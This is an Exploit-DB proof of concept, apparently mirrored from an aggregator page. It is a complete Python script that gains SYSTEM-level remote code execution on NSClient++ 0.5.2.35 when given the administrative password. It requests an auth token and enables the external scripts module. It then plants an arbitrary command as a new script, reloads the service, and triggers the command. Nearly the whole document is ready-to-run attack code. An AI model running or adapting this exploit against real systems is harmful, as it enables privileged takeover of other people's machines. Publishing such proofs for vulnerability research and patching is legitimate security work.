NSClient++ 0.5.2.35 – Authenticated Remote Code Execution

  • 作者: kindredsec
    日期: 2020-04-21
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48360/
  • # Exploit Title: NSClient++ 0.5.2.35 - Authenticated Remote Code Execution
    # Google Dork: N/A
    # Date: 2020-04-20
    # Exploit Author: kindredsec
    # Vendor Homepage: https://nsclient.org/
    # Software Link: https://nsclient.org/download/
    # Version: 0.5.2.35
    # Tested on: Microsoft Windows 10 Pro (x64)
    # CVE: N/A
    #
    # NSClient++ is a monitoring agent that has the option to run external scripts.
    # This feature can allow an attacker, given they have credentials, the ability to execute
    # arbitrary code via the NSClient++ web application. Since it runs as NT Authority/System bt
    # Default, this leads to privileged code execution.
    
    #!/usr/bin/env python3
    
    import requests
    from bs4 import BeautifulSoup as bs
    import urllib3
    import json
    import sys
    import random
    import string
    import time
    import argparse
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    def generateName():
    
    	letters = string.ascii_lowercase + string.ascii_uppercase
    	return ''.join(random.choice(letters) for i in range(random.randint(8,13)))
    
    def printStatus(message, msg_type):
    
    	C_YELLOW = '\033[1;33m'
    	C_RESET = '\033[0m'
    	C_GREEN = '\033[1;32m'
    	C_RED = '\033[1;31m'
    
    	if msg_type == "good":
    		green_plus = C_GREEN + "[+]" + C_RESET 
    		string = green_plus + " " + message
    
    	elif msg_type == "info":
    		yellow_ex = C_YELLOW + "[!]" + C_RESET
    		string = yellow_ex + " " + message
    	
    	elif msg_type == "bad":
    		red_minus = C_RED + "[-]" + C_RESET
    		string = red_minus + " " + message
    
    	print(string)
    
    
    # This function adds a new external script containing the desired
    # command, then saves the configuration
    def configurePayload(session, cmd, key):
    
    	printStatus("Configuring Script with Specified Payload . . .", "info")
    	endpoint = "/settings/query.json"
    	node = { "path" : "/settings/external scripts/scripts",
    		 "key" : key } 
    	value = { "string_data" :cmd }
    	update = { "node" : node , "value" : value }
    	payload = [ { "plugin_id" : "1234",
    		"update" :update } ] 
    	json_data = { "type" : "SettingsRequestMessage", "payload" : payload }
    
    	out = session.post(url = base_url + endpoint, json=json_data, verify=False)
    	if "STATUS_OK" not in str(out.content):
    		printStatus("Error configuring payload. Hit error at: "+ endpoint, "bad")
    		sys.exit(1)
    
    	printStatus("Added External Script (name: " + key + ")", "good")
    	time.sleep(3)
    	printStatus("Saving Configuration . . .", "info")
    	header = { "version" : "1" }
    	payload = [ { "plugin_id" : "1234", "control" : { "command" : "SAVE" }} ]
    	json_data = { "header" : header, "type" : "SettingsRequestMessage", "payload" : payload }
    	
    	session.post(url = base_url + endpoint, json=json_data, verify=False)	
    
    
    # Since the application needs to be restarted after making changes,
    # this function reloads the application, and waits for it to come back.
    def reloadConfig(session):
    
    	printStatus("Reloading Application . . .", "info")
    	endpoint = "/core/reload"
    	session.get(url = base_url + endpoint, verify=False)
    	
    	# Wait until the application successfully reloads by making a request
    	# every 10 seconds until it responds.
    	printStatus("Waiting for Application to reload . . .", "info")
    	time.sleep(10)
    	response = False
    	count = 0 
    	while not response:
    		try:
    			out = session.get(url = base_url, verify=False, timeout=10)
    			if len(out.content) > 0:
    				response = True
    		except:
    			count += 1
    			if count > 10:
    				printStatus("Application failed to reload. Nice DoS exploit! /s", "bad")
    				sys.exit(1)
    			else:
    				continue	
    
    
    # This function makes the call to the new external script to
    # ultimately execute the code.
    def triggerPayload(session, key):
    
    	printStatus("Triggering payload, should execute shortly . . .", "info")
    	endpoint = "/query/" + key
    	try:
    		session.get(url = base_url + endpoint, verify=False, timeout=10)
    	except requests.exceptions.ReadTimeout:
    		printStatus("Timeout exceeded. Assuming your payload executed . . .", "info")
    		sys.exit(0)
    
    
    # Before setting up the exploit, this function makes sure the
    # required feature (External Scripts) is enabled on the application.
    def enableFeature(session):
    
    	printStatus("Enabling External Scripts Module . . .", "info")
    	endpoint = "/registry/control/module/load"
    	params = { "name" : "CheckExternalScripts" }
    	out = session.get(url = base_url + endpoint, params=params, verify=False)
    	if "STATUS_OK" not in str(out.content):
    		printStatus("Error enabling required feature. Hit error at: "+ endpoint, "bad")
    		sys.exit(1)
    
    
    # This function obtains an authentication token that gets added to all
    # remaining headers.
    def getAuthToken(session):
    
    	printStatus("Obtaining Authentication Token . . .", "info")
    	endpoint = "/auth/token"
    	params = { "password" : password }
    	auth = session.get(url = base_url + endpoint, params=params, verify=False)	
    	if "auth token" in str(auth.content):
    		j = json.loads(auth.content)
    		authToken = j["auth token"]
    		printStatus("Got auth token: " + authToken, "good")
    		return authToken
    	else:
    		printStatus("Error obtaining auth token, is your password correct? Hit error at: "+ endpoint, "bad")
    		sys.exit(1)
    		
    
    
    parser = argparse.ArgumentParser("NSClient++ 0.5.2.35 Authenticated RCE")
    parser.add_argument('-t', nargs='?', metavar='target', help='Target IP Address.')
    parser.add_argument('-P', nargs='?', metavar='port', help='Target Port.')
    parser.add_argument('-p', nargs='?', metavar='password', help='NSClient++ Administrative Password.')
    parser.add_argument('-c', nargs='?', metavar='command', help='Command to execute on target')
    args = parser.parse_args()
    
    if len(sys.argv) < 4:
    	parser.print_help()
    	sys.exit(1)
    
    # Build base URL, grab needed arguments
    base_url = "https://" + args.t + ":" + args.P
    printStatus("Targeting base URL " + base_url, "info")
    password = args.p
    cmd = args.c
    
    # Get first auth token, and add it to headers of session
    s = requests.session()
    token = getAuthToken(s)
    s.headers.update({ "TOKEN" : token})
    
    # Generate a random name, enable the feature, add the payload,
    # then reload.
    randKey = generateName()
    enableFeature(s)
    configurePayload(s, cmd, randKey)
    reloadConfig(s)
    
    # Since application was reloaded, need a new auth token.
    token = getAuthToken(s)
    s.headers.update({ "TOKEN" : token})
    
    # Execute our code.
    triggerPayload(s, randKey)